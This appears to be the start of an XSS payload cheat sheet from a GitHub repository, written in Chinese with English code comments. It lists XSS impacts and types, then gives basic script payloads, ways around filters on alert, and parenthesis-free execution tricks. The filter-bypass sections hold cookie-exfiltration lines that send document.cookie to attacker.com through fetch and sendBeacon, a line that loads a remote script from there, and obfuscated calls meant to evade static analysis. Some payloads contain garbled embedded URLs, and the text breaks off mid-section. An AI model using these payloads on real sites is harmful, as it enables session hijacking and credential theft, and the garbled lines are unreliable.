GitHub 上最全面的 XSS 参考。
反射型 · 存储型 · DOM 型 · 盲 XSS — 载荷、过滤器绕过、WAF 规避、CSP 绕过、mXSS、原型污染链以及真实世界 CVE。已针对 2026 年更新。
跨站脚本(XSS)是一种客户端代码注入攻击,攻击者将恶意脚本注入到由受信任 Web 应用程序提供的内容中。当受害者的浏览器渲染该页面时,注入的脚本会以与该源合法脚本相同的权限执行。
XSS 一直位列 OWASP Top 10,因为其影响严重且攻击面巨大:
| 影响 | 描述 |
|---|---|
| 会话劫持 | 窃取 document.cookie 并接管已认证会话 |
| 账户接管 | 利用受害者的会话伪造请求更改邮箱/密码 |
| 键盘记录 | 捕获每一次击键,包括密码、信用卡号 |
| 钓鱼 | 注入将凭据提交给攻击者的虚假登录表单 |
| 篡改 | 修改页面内容以传播虚假信息或使目标难堪 |
| 恶意软件分发 | 将受害者重定向至漏洞利用工具包 |
| 加密货币挖矿 | 在受害者浏览器中运行挖矿程序 |
| SSRF / 内部端口扫描 | 利用受害者浏览器探测内部网络 |
| 凭据收集 | 从 DOM 中读取自动填充的凭据 |
| 截图 / 摄像头 | 通过 getDisplayMedia() 捕获屏幕,通过 getUserMedia() 捕获摄像头 |
XSS 突破了同源策略(SOP)。由于恶意脚本是从目标源提供的,浏览器将其视为可信。这意味着 XSS 赋予攻击者:
HttpOnly 保护的 cookielocalStorage 和 sessionStorageCross-Site Scripting (XSS)
│
├── Reflected XSS
│ ├── Payload in request, reflected in response immediately
│ ├── Requires victim to click crafted link
│ ├── Stored: NO — not persistent
│ └── Example: search?q=<script>alert(1)</script>
│
├── Stored XSS (Persistent)
│ ├── Payload stored in database, file, log, etc.
│ ├── Executes on every page load for every victim
│ ├── Stored: YES — most dangerous type
│ └── Example: comment field, profile name, forum post
│
├── DOM-Based XSS
│ ├── Payload processed by client-side JS, never reaches server
│ ├── Source → Sink flow entirely in browser
│ ├── Often missed by server-side WAFs and scanners
│ └── Example: location.hash → innerHTML assignment
│
└── Blind XSS
├── Payload executes in a different context than where it's injected
├── Fires in admin panels, log viewers, CRM systems
├── Time delay between injection and execution (hours/days)
└── Example: support ticket field that fires in agent dashboard
| 类型 | 持久性 | 受影响对象 | 服务器是否看到载荷? |
|---|---|---|---|
| 反射型 | 否 | 定向受害者 | 是 |
| 存储型 | 是 | 所有访问者 | 是 |
| DOM 型 | 否 | 定向受害者 | 通常否 |
| 盲打型 | 是(远程) | 管理员 / 后端用户 | 是(在注入点) |
每位安全研究人员都熟知的基础载荷。这些载荷在不存在任何过滤的场景下有效。
<!-- Standard script tag -->
<script>alert(1)</script>
<!-- With domain in alert for proof-of-concept -->
<script>alert(document.domain)</script>
<!-- Cookie theft proof-of-concept -->
<script>alert(document.cookie)</script>
<!-- Script with src — load external JS -->
<script src=https://attacker.com/xss.js></script>
<!-- With type attribute -->
<script type="text/javascript">alert(1)</script>
<!-- Newline in script tag -->
<script>
alert(1)
</script>
<!-- Multiple statements -->
<script>var x=1;alert(x)</script>
<!-- Using window.alert -->
<script>window.alert(1)</script>
<!-- With character reference -->
<script>alert(1)</script>
<!-- IIFE (Immediately Invoked Function Expression) -->
<script>(function(){alert(1)})()</script>
<!-- Arrow function -->
<script>(() => alert(1))()</script>
alert 被拦截时)许多现代应用程序和 WAF 会拦截 alert 这个词。请使用以下替代方案:
// confirm() — shows OK/Cancel dialog
<script>confirm(1)</script>
// prompt() — shows input dialog
<script>prompt(1)</script>
// console.log() — silent, check browser console
<script>console.log(document.cookie)</script>
// print() — opens print dialog (noisy but visible)
<script>print()</script>
// debugger — pauses DevTools if open
<script>debugger</script>
// throw — visible in console as uncaught error
<script>throw 1</script>
// Using window object
<script>window['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using top
<script>top['alert'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Constructing alert string to evade static analysis
<script>window['\x61\x6c\x65\x72\x74'](https://github.com/ardakocadoru/xss-cheatsheet/blob/main/1)</script>
// Using eval
<script>eval('ale'+'rt(1)')</script>
// Function constructor
<script>Function('alert(1)')()</script>
// setTimeout / setInterval
<script>setTimeout(alert,0,1)</script>
<script>setInterval(alert,9999,1)</script>
// Using fetch to exfiltrate (when alert is blocked entirely)
<script>fetch('https://attacker.com/?c='+document.cookie)</script>
// navigator.sendBeacon — harder to block, works on page unload
<script>navigator.sendBeacon('https://attacker.com/',document.cookie)</script>
括号有时会被过滤。以下技术可以在不使用括号的情况下执行代码:
// Template literal as argument (backtick replaces parentheses)
<script>alert`1`</script>
<script>alert`${document.cookie}`</script>
// onerror with template literal
// throw with alert as onerror
<script>window.onerror=alert;throw 1</script>
// Using location
<script>location='javascript:alert\x281\x29'</script>
// Using execCommand (legacy)
<svg><script>alert(1)</script></svg>
// document.write with encoded parens
<script>document.write('\x3cimg src=x onerror=alert`1`\x3e')</script>
// msExecAttr (IE legacy)
// <div id=x tabindex=1 onactivate=alert(1)></div>
// via.href
<a href="javascript:alert`1`">click</a>
当空格被剥离或被标记时:
<!-- Slash as space alternative -->
<!-- Tab character (0x09) -->
<!-- Newline in attribute -->